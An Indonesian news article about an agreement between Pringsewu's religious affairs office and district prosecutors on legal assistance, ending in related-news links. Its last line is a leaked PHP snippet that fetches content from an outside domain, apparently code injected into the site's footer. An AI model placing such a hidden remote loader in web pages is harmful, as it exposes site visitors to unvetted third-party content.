Kemenag dan Kejari Pringsewu MoU Pendampingan Hukum

Rabu, 10 Februari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pringsewu, Jejakkasus.info – Mengawali kinerja Tahun 2021, Kantor Kementerian Agama Kabupaten Pringsewu bersama Kejaksaan Negeri (Kajari)  Kabupaten Pringsewu melakukan penandatanganan kesepakatan bersama (MOU) Penanganan hukum Perdata dan Tata Usaha Negara, Rabu, 10/02/2021.

Kegiatan yang diselenggarakan di Aula Kejaksaan Negeri Kabupaten Pringsewu tersebut dihadiri langsung oleh Kepala Kemenag Ahmad Rifa’i , Kepala Kajari Amru Siregar Yang di wakili Kasi Perdata dan Tata Usaha Negara Desna Indah Maysari, SH yang di Dampingi Dedi Hendarta, SH, Kepala TU Musanip, Kasi Pendis Akhyarulloh, Ketua Forum KUA Pringsewu Sulaiman yang sekaligus Pengurus Cabang APRI (Assosiasi Penghulu Republik Indonesia) Kabupaten Pringsewu, Kepala MAN Pringsewu Almadi, Kepala Madrasah Negeri 1 Pringsewu Muhaidin, Kepala Madrasah Negeri 2 Pringsewu Waljimah.

Baca Juga:  Tak Punya Penghasilan, Penderita Kanker Payudara di Banyuwangi Butuh Uluran Tangan

Dalam kesempatan tersebut Kasi Perdata dan Tata Usaha Negara Desna Indah Maysari, SH Menyampaikan apresiasi yang tinggi kepada pihak Kementerian Agama, bahwa sejauh ini telah menjalin kerja sama dengan baik dalam rangka mengantisipasi resiko hukum dan resiko moral serta Penyuluhan hukum, beliau sangat mengapresiasi apa yang dilakukan oleh pihak Kemenag, Ungkapnya.

Baca Juga:  Ratusan personil Polres Pringsewu  Memegang Senjata Api Menjalani Tes Psikologi

Lebih lanjut ia  juga menyampaikan siap membantu dan mendukung setiap kegiatan yang akan dilakukan oleh pihak Kemenag dalam memberikan penyuluhan dan pembinaan masalah hukum, baik dari segi pembangunan fisik maupun yang ada di Kabupaten Pringsewu, Kata Desna.

Baca Juga:  Adi Erlansyah Hadiri Lomba Kicau Mania Gantangan BMC Enterprise di Pekon Tegalsari

Pada kesempatan yang sama pun Ahmad Rofa’i menyampaikan ucapan terimakasih kepada pihak Kejari yang Di wakilkan oleh Kasi Datun atas pendampingannya sehingga kedepan Beliau berharap dengan penandatanganan MoU ini pihak Kajari ini dapat membantu di setiap program yang rencanakan dari awal, Ujarnya. (Bambang)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan
Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi
Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan
Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali
DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung
Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat
Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi
Tag :

Berita Terkait

Minggu, 13 Oktober 2024 - 19:18 WIB

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan

Minggu, 13 Oktober 2024 - 09:25 WIB

Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi

Sabtu, 12 Oktober 2024 - 20:32 WIB

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara

Sabtu, 12 Oktober 2024 - 18:48 WIB

Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Jumat, 11 Oktober 2024 - 23:50 WIB

Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>